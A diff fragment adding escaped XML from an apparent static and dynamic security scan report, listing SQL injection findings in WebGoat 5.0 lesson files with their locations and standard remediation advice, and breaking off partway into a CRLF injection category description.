+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"75\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"149\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login(session.WebSession, java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"106\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"191\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login_BACKUP(session.WebSession, java.lang.String,
+        java.lang.String)\" functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"247\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlNumericInjection.java\"
+        line=\"130\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlNumericInjection\"
+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"165\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlStringInjection.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlStringInjection\"
+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"225\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ThreadSafetyProblem.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.ThreadSafetyProblem\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"53\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"71\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"176\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"112\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"248\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"59\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"295\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"68\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"139\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"340\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"85\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"258\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from earlier calls
+        to javax.servlet.ServletRequest.getParameterValues, javax.servlet.ServletRequest.getParameter,
+        java.sql.Statement.executeQuery, and java.sql.PreparedStatement.executeQuery.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile_i.java\"
+        line=\"64\" sourcefilepath=\"org/owasp/webgoat/lessons/instructor/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl.UpdateProfile_i\"
+        functionprototype=\"void changeEmployeeProfile(session.WebSession, int, int,
+        session.Employee)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"17\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable sqlStatement. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewDatabase.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/admin/\" scope=\"org.owasp.webgoat.lessons.admin.ViewDatabase\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"12\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"118\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"197\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"178\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile_BACKUP(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"166\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WsSqlInjection.java\"
+        line=\"240\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WsSqlInjection\"
+        functionprototype=\"java.sql.ResultSet getResults(java.lang.String)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"275\" module=\"dynamic_analysis\"
+        type=\"Improper Neutralization of Special Elements used in an SQL Command
+        ('SQL Injection')\" description=\"This database query contains a SQL injection
+        flaw. The function call constructs a dynamic SQL query using a variable derived
+        from user-supplied input. An attacker could exploit this flaw to execute arbitrary
+        SQL queries against the database.\r\n\r\nAvoid dynamically constructing SQL
+        queries. Instead, use parameterized prepared statements to prevent the database
+        from interpreting the contents of bind variables as part of the query. Always
+        validate user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=89)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" categoryid=\"19\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"id\"/>\n</dynamicflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"3\">\n<category categoryid=\"21\" categoryname=\"CRLF Injection\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"The acronym CRLF stands for &quot;Carriage
+        Return, Line Feed&quot; and refers to the sequence of characters used to denote
+        the end of a line of text.  CRLF injection vulnerabilities occur when data
+        enters an application from an untrusted source and is not properly validated
+        before being used.  For example, if an attacker is able to inject a CRLF into
+        a log file, he could append falsified log entries, thereby misleading administrators
+        or cover traces of the attack.  If an attacker is able to inject CRLFs into
+        an HTTP response header, he can use this ability to carry out other attacks
+        such as cache poisoning.  CRLF vulnerabilities primarily affect data integrity.
+        \ \"/>\n</desc>\n<recommendations>\n<para text=\"Apply robust input filtering
+        for all user-supplied data, using centralized data validation routines when
+        possible.  Use output filters to sanitize all output derived from user-supplied
+        input, replacing non-alphanumeric characters with their HTML entity equivalents.\"/>\n</recommendations>\n<cwe
